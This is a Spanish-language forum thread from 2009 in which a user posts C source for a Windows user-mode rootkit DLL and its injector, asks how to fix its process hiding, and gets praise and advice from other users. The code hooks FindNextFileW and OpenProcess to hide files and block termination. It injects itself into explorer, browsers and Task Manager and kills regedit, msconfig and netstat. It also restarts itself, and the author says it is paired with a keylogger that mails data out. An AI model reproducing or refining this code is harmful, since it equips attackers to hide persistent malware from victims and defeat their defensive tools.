elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.
 
Inicio Ayuda Buscar Ingresar Registrarse
14 Febrero 2012, 10:22  


+  Foro de elhacker.net
|-+  Seguridad Informática
| |-+  Análisis y Diseño de Malware (Moderadores: Karcrack, [Zero])
| | |-+  Humilde RotKit
0 Usuarios y 2 Visitantes están viendo este tema.
Páginas: [1] Ir Abajo Respuesta Imprimir
Autor Tema: Humilde RotKit  (Leído 2,376 veces)
Jaixon Jax


Desconectado Desconectado

Mensajes: 856



Ver Perfil
Humilde RotKit
« en: 12 Agosto 2009, 07:16 »

  Buno He estado ocupado ultimamente y tenia tiempo que no aportaba nada al subforo asi que aparte de un aporte tambien va como pregunta jeje  :xD

Código:
//---------------------------------------------------------------------------

#include <windows.h>
#include "windows.h"
#include "Tlhelp32.h"


#include "string.h"
#include "stdio.h"



#pragma argsused
BYTE *BufferFN;
BYTE *BufferFN2;

char Prefijo[] = "myexe";
char Prefijo2[] = "myexe" ;


void Hookear();
void Hookeartask();


HANDLE __stdcall miFindNextFileW(HANDLE hFindFile,LPWIN32_FIND_DATAW lpFindFileData);
HANDLE __stdcall miOpenProcessW(unsigned long  acces,int inherit,unsigned long pid);


HANDLE (__stdcall *pBuffFN) (HANDLE hFindFile, LPWIN32_FIND_DATAW lpFindFileData);
HANDLE (__stdcall *pBuffFN2)(unsigned long  acces,int inherit,unsigned long pid);

LPCSTR ExtractFileName (LPCSTR path)
{
const char *p;
LPCSTR name;
p= strchr (path, '\\');
while (p!=NULL)
{
name = p+1;
p= strchr (p+1, '\\');
}
if (!*name) return 0;
else return name;
}
BOOL SetPrivilege(HANDLE hToken, LPCTSTR lpszPrivilege,BOOL bEnablePrivilege)
{
TOKEN_PRIVILEGES tp;
LUID luid;

if ( !LookupPrivilegeValue(NULL,lpszPrivilege,&luid ) )
{
return FALSE;
}
tp.PrivilegeCount = 1;
tp.Privileges[0].Luid = luid;
if (bEnablePrivilege)
tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
else
tp.Privileges[0].Attributes = 0;

// Enable the privilege or disable all privileges.

if ( !AdjustTokenPrivileges(hToken,FALSE,&tp,sizeof(TOKEN_PRIVILEGES),(PTOKEN_PRIVILEGES) NULL,(PDWORD) NULL) )
   {

return FALSE;
}
if (GetLastError() == ERROR_NOT_ALL_ASSIGNED)
   {
return FALSE;
   }
return TRUE;
}
int WINAPI DllEntryPoint(HINSTANCE hinst, unsigned long reason, void* lpReserved)
{
 HANDLE h1;
 HANDLE handle;
 PROCESSENTRY32 procinfo;
 char nout[MAX_PATH]="";
 LPCSTR name;
  _OFSTRUCT ofs;
  char dir1[260]="                    ";
  char dir2[260]="                  ";
  char exe1[300]="                   ";
  char exe2[300]="                   ";
  char comand[300]="                   ";
  char comf[300]="            ";
  unsigned long exitCode;
  int pid;
  const size_t newsize = 100;
  char nstring[newsize];
  size_t convertedChars = 0;
  int ban;
  FILE *p;
 if (reason== DLL_PROCESS_ATTACH)
{
  GetModuleFileName(NULL,nout,MAX_PATH);
   name=ExtractFileName(nout);
   if(strcmp(name,"explorer.exe")==0)
{
  Hookear();
}
   if(strcmp(name,"jusched.exe")==0||strcmp(name,"ctfmon.exe")==0||strcmp(name,"mm_tray.exe")==0)
  {
            HANDLE th = 0; OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES , &th);
SetPrivilege(th, SE_DEBUG_NAME, true);
strcpy(comf,getenv("HOMEDRIVE"));
strcat(comf,"\\");
strcat(comf,getenv("SystemRoot"));
strcat(comf,"\\");
strcat(comf,"mydll.dll");
_OFSTRUCT ofs;
if (OpenFile(exe1,&ofs,OF_EXIST) == HFILE_ERROR)
   {
strcpy(comf,getenv("HOMEDRIVE"));
strcat(comf,"\\");
strcat(comf,getenv("APPDATA"));
strcat(comf,"\\");
strcat(comf,"mydll.dll");
}
strcpy(dir1,getenv("SystemRoot"));
strcpy(dir2,getenv("APPDATA"));
strcat(dir1,"\\");
strcat(dir2,"\\");
strcat(strcpy(exe1,dir1),"myexe.exe");
strcat(strcpy(exe2,dir2),"myexe.exe");
__int64 interruptor=30;
do
{
  Sleep(1000);
  handle=CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0);
  PROCESSENTRY32 procinfo= {sizeof(PROCESSENTRY32)};
  ban=0;
  while(Process32Next(handle,&procinfo))
   {
if(strcmp(procinfo.szExeFile,"taskmgr.exe")==0&&interruptor>=60)
  {
   interruptor=0;
   bool hay;
   HMODULE Hm;
   const size_t newsize = 100;
   size_t convertedChars = 0;
   char nstring[newsize];
   char c[260];
   HANDLE proceso,proceso1;
   LPVOID RemoteString;
   LPVOID nLoadLibrary;
   __int64 j=PROCESS_ALL_ACCESS;
   SIZE_T y;
   int pid;
   HANDLE handle=CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0);
   PROCESSENTRY32 procinfo={sizeof(PROCESSENTRY32)};
   int ban,ban1,ban3=0;
   ban=1;
                       pid=procinfo.th32ProcessID;
   nLoadLibrary=(LPVOID)GetProcAddress(Hm=GetModuleHandle("kernel32.dll"),"LoadLibraryA");
   proceso1=OpenProcess(PROCESS_ALL_ACCESS ,false,pid);
   ban=0;
   if(proceso1)
{
  RemoteString=VirtualAllocEx(proceso1,NULL,strlen(comf),MEM_COMMIT|MEM_RESERVE,PAGE_READWRITE);
  WriteProcessMemory(proceso1,(LPVOID)RemoteString,comf,y=strlen(comf),NULL);
  CreateRemoteThread(proceso1,NULL,NULL,(LPTHREAD_START_ROUTINE)nLoadLibrary,(LPVOID)RemoteString,NULL,NULL);
  CloseHandle(proceso1);
}
  }
if(strcmp(procinfo.szExeFile,"myexe.exe")==0)
  {
ban=1;
  }
if(strcmp(procinfo.szExeFile,"regedit.exe")==0||strcmp(procinfo.szExeFile,"msconfig.exe")==0||strcmp(procinfo.szExeFile,"netstat.exe")==0)
   {
pid=procinfo.th32ProcessID;
h1=OpenProcess(PROCESS_ALL_ACCESS,false,pid);
bool ban2=0;
if(h1!=NULL)
  {
   GetExitCodeProcess(h1, &exitCode);
   TerminateProcess(h1, exitCode);
   CloseHandle(h1);
   ban2=true;
   }
   if(!ban2)
  CloseHandle(h1);
}
}
if(!ban)
  {
   _OFSTRUCT ofs;
   if (OpenFile(exe1,&ofs,OF_EXIST) != HFILE_ERROR)
{
strcpy(comf,"sc start ");
strcat(comf,"nombre del servicio");
WinExec(comf,SW_HIDE);
strcpy(comf,"sc continue ");
strcat(comf,"nombre del servicio");
WinExec(comf,SW_HIDE);
  }
   else
   {
   strcpy(comf,exe2);
   ShellExecute(0,"OPEN",comf,NULL,dir2,SW_HIDE);
   }
}
  CloseHandle(handle);
  }
while(1);
   }
if(strcmp(name,"taskmgr.exe")==0)
   {
Hookeartask();
   }

}
return 1;
}
HANDLE __stdcall miFindNextFileW(HANDLE hFindFile,LPWIN32_FIND_DATAW lpFindFileData)
{

HANDLE hand;
char ascStr[611];
do
{
hand = pBuffFN(hFindFile,lpFindFileData);
WideCharToMultiByte(CP_ACP, 0, lpFindFileData->cFileName, -1, ascStr, 611, NULL, NULL);
}while (strncmp(ascStr,Prefijo,strlen(Prefijo)) == 0 && hand != NULL);
return hand;
}
HANDLE __stdcall miOpenProcessW(unsigned long  acces,int inherit,unsigned long pid)
{

HANDLE handle=CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0);
PROCESSENTRY32 procinfo={sizeof(PROCESSENTRY32)};
int ban=0;
while(Process32Next(handle,&procinfo))
{
if(strcmp(procinfo.szExeFile,"myexe.exe")==0)
  {
if(procinfo.th32ProcessID==pid)
  {
   pid=0;
   }
  }
}
if(pid!=-1)
  return pBuffFN2(acces,inherit, pid);
else
  return 0;
}
void Hookeartask()
{
DWORD ProteVieja;
BYTE *DirFN;
BYTE *DirYoFN;

DirFN=(BYTE *) GetProcAddress(GetModuleHandle("kernel32.dll"),"OpenProcess");

BufferFN2=(BYTE *) malloc (10);

VirtualProtect((void *) BufferFN2, 10, PAGE_EXECUTE_READWRITE,
&ProteVieja);

memcpy(BufferFN2,DirFN,5);
BufferFN2 += 5;

*BufferFN2=0xE9;
BufferFN2++;

*((signed int *) BufferFN2)= DirFN - BufferFN2 + 1;

pBuffFN2 = (HANDLE (__stdcall *)(unsigned long,int,unsigned long))
(BufferFN2-6);

VirtualProtect((void *)DirFN,5,PAGE_EXECUTE_READWRITE,&ProteVieja);

DirYoFN=(BYTE *) miOpenProcessW;

*DirFN=0xE9;
DirFN++;

*((signed int *) DirFN)=DirYoFN - DirFN - 4;

FlushInstructionCache(GetCurrentProcess(),NULL,NULL);
}

void Hookear()
{
DWORD ProteVieja;
BYTE *DirFN;
BYTE *DirYoFN;


DirFN=(BYTE *) GetProcAddress(GetModuleHandle("kernel32.dll"),"FindNextFileW");

BufferFN=(BYTE *) malloc (12);

VirtualProtect((void *) BufferFN, 12, PAGE_EXECUTE_READWRITE,
&ProteVieja);

memcpy(BufferFN,DirFN,7);
BufferFN += 7;

*BufferFN=0xE9;
BufferFN++;

*((signed int *) BufferFN)= DirFN - BufferFN + 3;

pBuffFN = (HANDLE (__stdcall *)(HANDLE,LPWIN32_FIND_DATAW))
(BufferFN-8);

VirtualProtect((void *)
DirFN,5,PAGE_EXECUTE_READWRITE,&ProteVieja);

DirYoFN=(BYTE *) miFindNextFileW;

*DirFN=0xE9;
DirFN++;

*((signed int *) DirFN)=DirYoFN - DirFN - 4;

FlushInstructionCache(GetCurrentProcess(),NULL,NULL);
}

Funcion inyectora

Código:
void inyectar(int mod)
{
 bool hay;
 FILE *a;
 HMODULE Hm;
 const size_t newsize = 100;
 size_t convertedChars = 0;
 char nstring[newsize];
 char c[260];
 HANDLE proceso,proceso1;
 LPVOID RemoteString;
 LPVOID nLoadLibrary;
  __int64 j=PROCESS_ALL_ACCESS;
 SIZE_T y;
 int pid;
 HANDLE handle=CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0);
 PROCESSENTRY32 procinfo={sizeof(PROCESSENTRY32)};
 int ban,ban1,ban3=0;
 while(Process32Next(handle,&procinfo)&&mod==1)
{
  if((strcmp(procinfo.szExeFile,"jusched.exe")==0||strcmp(procinfo.szExeFile,"explorer.exe")==0||strcmp(procinfo.szExeFile,"taskmgr.exe")==0||strcmp(procinfo.szExeFile,"ctfmon.exe")==0||strcmp(procinfo.szExeFile,"chrome.exe")==0||strcmp(procinfo.szExeFile,"firefox.EXE")==0)&&!ban3)
{
pid=procinfo.th32ProcessID;
nLoadLibrary=(LPVOID)GetProcAddress(Hm=GetModuleHandle("kernel32.dll"),"LoadLibraryA");
proceso1=OpenProcess(PROCESS_ALL_ACCESS ,false,pid);
ban=0;
if(proceso1)
   {
   RemoteString=VirtualAllocEx(proceso1,NULL,strlen(AnsiString(masterdir+"mydll.dll").c_str()),MEM_COMMIT|MEM_RESERVE,PAGE_READWRITE);
   WriteProcessMemory(proceso1,(LPVOID)RemoteString,(AnsiString(masterdir+"mydll.dll").c_str()),y=strlen(AnsiString(masterdir+"mydll.dll").c_str()),NULL);
   CreateRemoteThread(proceso1,NULL,NULL,(LPTHREAD_START_ROUTINE)nLoadLibrary,(LPVOID)RemoteString,NULL,NULL);
   CloseHandle(proceso1);
   ban=1;
   ban1=1;
   ban3=1;
   }
}
}
 CloseHandle(handle);
}


 ;D Bueno la cuestion es que que my exe trata de inyectar esta dll a los procesos arriba mencionados si es explorer.exe trata de hookear la api FindNextFile para ocultar el archivo, si es a jusched o a otros procesos se pone en modo latente en un bucle infinito donde monitorea el proceso si lo terminan lo vuelve a ejecutar sea servicio o exe normal y detecta si abrimos el taskmgr y si lo encuentra trata de inyectarce a si misma al proceso del taskmgr  :-[ bueno por lo menos esa es la teoria , en caso de que el proceso en el que se inyecta sea taskmgr: Esta si la hookee yo sin ver ningun ejemplo solo con una sugerencia de hendrix en un hilo por alli jeje  :P hookea openprocess como el administrador ejecuta openprocess seguido de terminateprocess para extirpar un proceso intercepto el pid y si es igual al pid de mi bicho lo cambia a cero jeje y el taskmgr devuelve un error diciendo que ya se agotaron los archivos  :laugh: y si  le metemos el pid del proceso System "no esta en el codigo pero ya lo he hecho" te devuelve algo asi como "ACCESO DENEGADO" .

  Ahora la pregunta es que he probado cada Api-  hook por separado y funcionan al pelo pero cuando las incluyo todas en un solo dll se comporta anormalmente cumple todas las funciones exepto la de FindNextFile en mi caso el exe esta sobre cargado con dos puertos en escucha y 2 clientes ademas de un keyloger con un motor smtp XD  por lo que agregarle otro hilo de deteccion del proceso taskmgr me afectaria las otras funciones por que seria un cilclo de no mas de 2 segundos que es el tiempo minimo para abrir el taskmgr y terminar un proceso.

  Tengo un code por alli en prueba con la Api Process32Next y he tratado de modificar el parametro


Código:
LPPROCESSENTRY32 lppe

mas o menos asi
Código:
if(strcmp(lppe->szExeFile,"mibichoexe")==0)
 {
  strcpy(lppe ->szExeFile,"serhosf.exe") ;
  ppe ->th32ProcessID=150;
  a=pBuffFN3(hwnd,lppe);

}


Si el nombre del exe es igual al del bicho lo cambia y cambia el pid que es lo mas importante lo hago con ajustes de token  SE_DEBUG_NAME y despues llama a la funcion original para otra busqueda.

  Bueno el problema aqui es que no la cambia ni el pid ni el nombre del exe por lo que no la oculta cualquier solucion la agradeceria saludos....   :D
« Última modificación: 12 Octubre 2009, 22:34 por Jaixxon Jax » En línea

Tricalogo del buen forista:
  1.- No postear en hilos de Politica, ni religion, ni feminismo ni Machismo .....
  2.- Nunca solicitar ayuda por MP a alguien del staf .... ellos nunca responden ....
  3.- Aplaudir todos los "aportes" del staf aunque no los entiendas, o creas que no tienen importancia eso es buena onda ....
XcryptOR

Desconectado Desconectado

Mensajes: 225



Ver Perfil
Re: Humilde RotKit
« Respuesta #1 en: 12 Agosto 2009, 18:47 »

no seria mejor hookear apis como la ZwQuerySystemInformation, ZwOpenProcess en vez de hacerlo con la FindNextFile ...   :huh:, igual el trabajo esta muy bueno  ;), estos aportes son los que se requieren

saludos
En línea



Karcrack
Moderador
***
Desconectado Desconectado

Mensajes: 2.132


Se siente observado ¬¬'


Ver Perfil
Re: Humilde RotKit
« Respuesta #2 en: 12 Agosto 2009, 20:54 »

Buen code, te lo añado a la recopilacion ;)
En línea

YST


Desconectado Desconectado

Mensajes: 963


I'm you


Ver Perfil WWW
Re: Humilde RotKit
« Respuesta #3 en: 12 Agosto 2009, 21:03 »

Bueno el code aunque el nombre ... :xD Voy a hacer marca registrada lo de Humilde :¬¬ .

Por cierto este ccodigo no anda en windows vista  :-\
« Última modificación: 12 Agosto 2009, 21:16 por YST » En línea



Yo le enseñe a Kayser a usar objetos en ASM
[Zero]
Moderador
***
Desconectado Desconectado

Mensajes: 1.050


CALL DWORD PTR DS:[0]


Ver Perfil WWW
Re: Humilde RotKit
« Respuesta #4 en: 12 Agosto 2009, 21:43 »

Parece bueno el código, aunque yo soy partidario de las tabulaciones y los comentarios, te sirven tanto a ti como a los otros  :P. Me lo bajo y si saco un rato veré que puedo hacer. Sabes ASM? con un poco de asm inline te puedes ahorrar bastante código "feo".

Saludos  ;)
En línea


“El Hombre, en su orgullo, creó a Dios a su imagen y semejanza.”
Nietzsche
Jaixon Jax


Desconectado Desconectado

Mensajes: 856



Ver Perfil
Re: Humilde RotKit
« Respuesta #5 en: 13 Agosto 2009, 03:06 »

Citar
Buen code, te lo añado a la recopilacion
  Jeje Gracias no  me lo esperaba.

Citar
Voy a hacer marca registrada lo de Humilde 

  Ese YST si que le gusta la pasta  :xD  yo se que lo habia visto por alli pero no habia caido en cuenta que eras tu  :silbar:

 
Citar
Sabes ASM? con un poco de asm inline te puedes ahorrar bastante código "feo".
  Si ya estoy con el Fasm y Ollydebug  :¬¬ pero vamos ha ver que aprendemos con el taller de YST  :laugh: Saludos....
En línea

Tricalogo del buen forista:
  1.- No postear en hilos de Politica, ni religion, ni feminismo ni Machismo .....
  2.- Nunca solicitar ayuda por MP a alguien del staf .... ellos nunca responden ....
  3.- Aplaudir todos los "aportes" del staf aunque no los entiendas, o creas que no tienen importancia eso es buena onda ....
YST


Desconectado Desconectado

Mensajes: 963


I'm you


Ver Perfil WWW
Re: Humilde RotKit
« Respuesta #6 en: 13 Agosto 2009, 03:08 »


Citar
Voy a hacer marca registrada lo de Humilde 

  Ese YST si que le gusta la pasta  :xD 

Sin dinero no haces nada en la vida :xD hasta para cagar necesitas $ para pagar el agua del baño , por eso me gusta tanto :$
En línea



Yo le enseñe a Kayser a usar objetos en ASM
el_juanchiii

Desconectado Desconectado

Mensajes: 28



Ver Perfil
Re: Humilde RotKit
« Respuesta #7 en: 13 Agosto 2009, 03:15 »

hasta aca entendi el code :
Citar
#include <windows.h>

 :xD
En línea

Nø ë×î§tën çømëntå®îø§ tøntø§ §înø tøntø§ qüë çømëntån...





Páginas: [1] Ir Arriba Respuesta Imprimir 

Ir a:  
Powered by SMF 1.1.16 | SMF © 2006-2008, Simple Machines